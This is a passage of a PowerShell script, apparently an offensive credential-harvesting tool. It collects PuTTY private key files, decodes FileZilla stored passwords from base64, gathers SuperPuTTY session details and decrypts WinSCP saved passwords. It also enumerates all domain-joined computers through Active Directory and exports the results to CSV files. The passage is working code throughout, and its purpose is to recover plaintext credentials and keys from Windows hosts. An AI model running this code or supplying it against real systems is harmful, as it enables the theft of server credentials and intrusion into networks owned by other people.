713 [void]$ArrayOfPPKFiles.Add($PPKFileObject)
714
715 }
716
717 if ($ArrayOfPPKFiles.count -gt 0) {
718
719 $UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfPPKFiles
720
721 if ($o) {
722 $ArrayOfPPKFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation
723 } else {
724 Write-Output "PuTTY Private Key Files (.ppk)"
725 $ArrayOfPPKFiles | Select-Object * | Format-List | Out-String
726 }
727
728 }
729
730} # Process PPK File
731
732function ProcessFileZillaFile($FileZillaXML) {
733
734 # Locate all <Server> nodes (aka session nodes), iterate over them
735 foreach($FileZillaSession in $FileZillaXML.SelectNodes('//FileZilla3/Servers/Server')) {
736 # Hashtable to store each session's data
737 $FileZillaSessionHash = @{}
738
739 # Iterates over each child node under <Server> (aka session)
740 $FileZillaSession.ChildNodes | ForEach-Object {
741
742 $FileZillaSessionHash["Source"] = $Source
743 # If value exists, make a key-value pair for it in the hash table
744 if ($_.InnerText) {
745 if ($_.Name -eq "Pass") {
746 $FileZillaSessionHash["Password"] = $_.InnerText
747 } else {
748 # Populate session data based on the node name
749 $FileZillaSessionHash[$_.Name] = $_.InnerText
750 }
751
752 }
753
754 }
755
756 # Create object from collected data, excluding some trivial information
757 [void]$ArrayOfFileZillaSessions.Add((New-Object PSObject -Property $FileZillaSessionHash | Select-Object -Property * -ExcludeProperty "#text",LogonType,Type,BypassProxy,SyncBrowsing,PasvMode,DirectoryComparison,MaximumMultipleConnections,EncodingType,TimezoneOffset,Colour))
758
759 } # ForEach FileZillaSession in FileZillaXML.SelectNodes()
760
761 # base64_decode the stored encoded session passwords, and decode protocol
762 foreach ($Session in $ArrayOfFileZillaSessions) {
763 $Session.Password = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($Session.Password))
764 if ($Session.Protocol -eq "0") {
765 $Session.Protocol = "Use FTP over TLS if available"
766 } elseif ($Session.Protocol -eq 1) {
767 $Session.Protocol = "Use SFTP"
768 } elseif ($Session.Protocol -eq 3) {
769 $Session.Protocol = "Require implicit FTP over TLS"
770 } elseif ($Session.Protocol -eq 4) {
771 $Session.Protocol = "Require explicit FTP over TLS"
772 } elseif ($Session.Protocol -eq 6) {
773 $Session.Protocol = "Only use plain FTP (insecure)"
774 }
775 }
776
777 if ($o) {
778 $ArrayOfFileZillaSessions | Export-CSV -Append -Path ($OutputDirectory + "\FileZilla.csv") -NoTypeInformation
779 } else {
780 Write-Output "FileZilla Sessions"
781 $ArrayOfFileZillaSessions | Format-List | Out-String
782 }
783
784 # Add the array of FileZilla session objects to the target user object
785 $UserObject | Add-Member -MemberType NoteProperty -Name "FileZilla Sessions" -Value $ArrayOfFileZillaSessions
786
787} # ProcessFileZillaFile
788
789function ProcessSuperPuTTYFile($SuperPuTTYXML) {
790
791 foreach($SuperPuTTYSessions in $SuperPuTTYXML.ArrayOfSessionData.SessionData) {
792
793 foreach ($SuperPuTTYSession in $SuperPuTTYSessions) {
794 if ($SuperPuTTYSession -ne $null) {
795
796 $SuperPuTTYSessionObject = "" | Select-Object -Property "Source","SessionId","SessionName","Host","Username","ExtraArgs","Port","Putty Session"
797
798 $SuperPuTTYSessionObject."Source" = $Source
799 $SuperPuTTYSessionObject."SessionId" = $SuperPuTTYSession.SessionId
800 $SuperPuTTYSessionObject."SessionName" = $SuperPuTTYSession.SessionName
801 $SuperPuTTYSessionObject."Host" = $SuperPuTTYSession.Host
802 $SuperPuTTYSessionObject."Username" = $SuperPuTTYSession.Username
803 $SuperPuTTYSessionObject."ExtraArgs" = $SuperPuTTYSession.ExtraArgs
804 $SuperPuTTYSessionObject."Port" = $SuperPuTTYSession.Port
805 $SuperPuTTYSessionObject."PuTTY Session" = $SuperPuTTYSession.PuttySession
806
807 [void]$ArrayOfSuperPuTTYSessions.Add($SuperPuTTYSessionObject)
808 }
809 }
810
811 } # ForEach SuperPuTTYSessions
812
813 if ($o) {
814 $ArrayOfSuperPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\SuperPuTTY.csv") -NoTypeInformation
815 } else {
816 Write-Output "SuperPuTTY Sessions"
817 $ArrayOfSuperPuTTYSessions | Out-String
818 }
819
820 # Add the array of SuperPuTTY session objects to the target user object
821 $UserObject | Add-Member -MemberType NoteProperty -Name "SuperPuTTY Sessions" -Value $ArrayOfSuperPuTTYSessions
822
823} # ProcessSuperPuTTYFile
824
825####################################################################################
826####################################################################################
827## WinSCP Deobfuscation Helper Functions
828####################################################################################
829####################################################################################
830
831# Gets all domain-joined computer names and properties in one object
832function GetComputersFromActiveDirectory {
833
834 $strCategory = "computer"
835 $objDomain = New-Object System.DirectoryServices.DirectoryEntry
836 $objSearcher = New-Object System.DirectoryServices.DirectorySearcher
837 $objSearcher.SearchRoot = $objDomain
838 $objSearcher.Filter = ("(objectCategory=$strCategory)")
839
840 $colProplist = "name"
841
842 foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)}
843
844 return $objSearcher.FindAll()
845
846}
847
848function DecryptNextCharacterWinSCP($remainingPass) {
849
850 # Creates an object with flag and remainingPass properties
851 $flagAndPass = "" | Select-Object -Property flag,remainingPass
852
853 # Shift left 4 bits equivalent for backwards compatibility with older PowerShell versions
854 $firstval = ("0123456789ABCDEF".indexOf($remainingPass[0]) * 16)
855 $secondval = "0123456789ABCDEF".indexOf($remainingPass[1])
856
857 $Added = $firstval + $secondval
858
859 $decryptedResult = (((-bnot ($Added -bxor $Magic)) % 256) + 256) % 256
860
861 $flagAndPass.flag = $decryptedResult
862 $flagAndPass.remainingPass = $remainingPass.Substring(2)
863
864 return $flagAndPass
865
866}
867
868function DecryptWinSCPPassword($SessionHostname, $SessionUsername, $Password) {
869
870 $CheckFlag = 255
871 $Magic = 163
872
873 $len = 0
874 $key = $SessionHostname + $SessionUsername
875 $values = DecryptNextCharacterWinSCP($Password)
876
877 $storedFlag = $values.flag
878
879 if ($values.flag -eq $CheckFlag) {
880 $values.remainingPass = $values.remainingPass.Substring(2)
881 $values = DecryptNextCharacterWinSCP($values.remainingPass)
882 }
883
884 $len = $values.flag
885
886 $values = DecryptNextCharacterWinSCP($values.remainingPass)
887 $values.remainingPass = $values.remainingPass.Substring(($values.flag * 2))
888
889 $finalOutput = ""
890 for ($i=0; $i -lt $len; $i++) {
891 $values = (DecryptNextCharacterWinSCP($values.remainingPass))
892 $finalOutput += [char]$values.flag
893 }
894
895 if ($storedFlag -eq $CheckFlag) {
896 return $finalOutput.Substring($key.length)
897 }
898
899 return $finalOutput
900
901}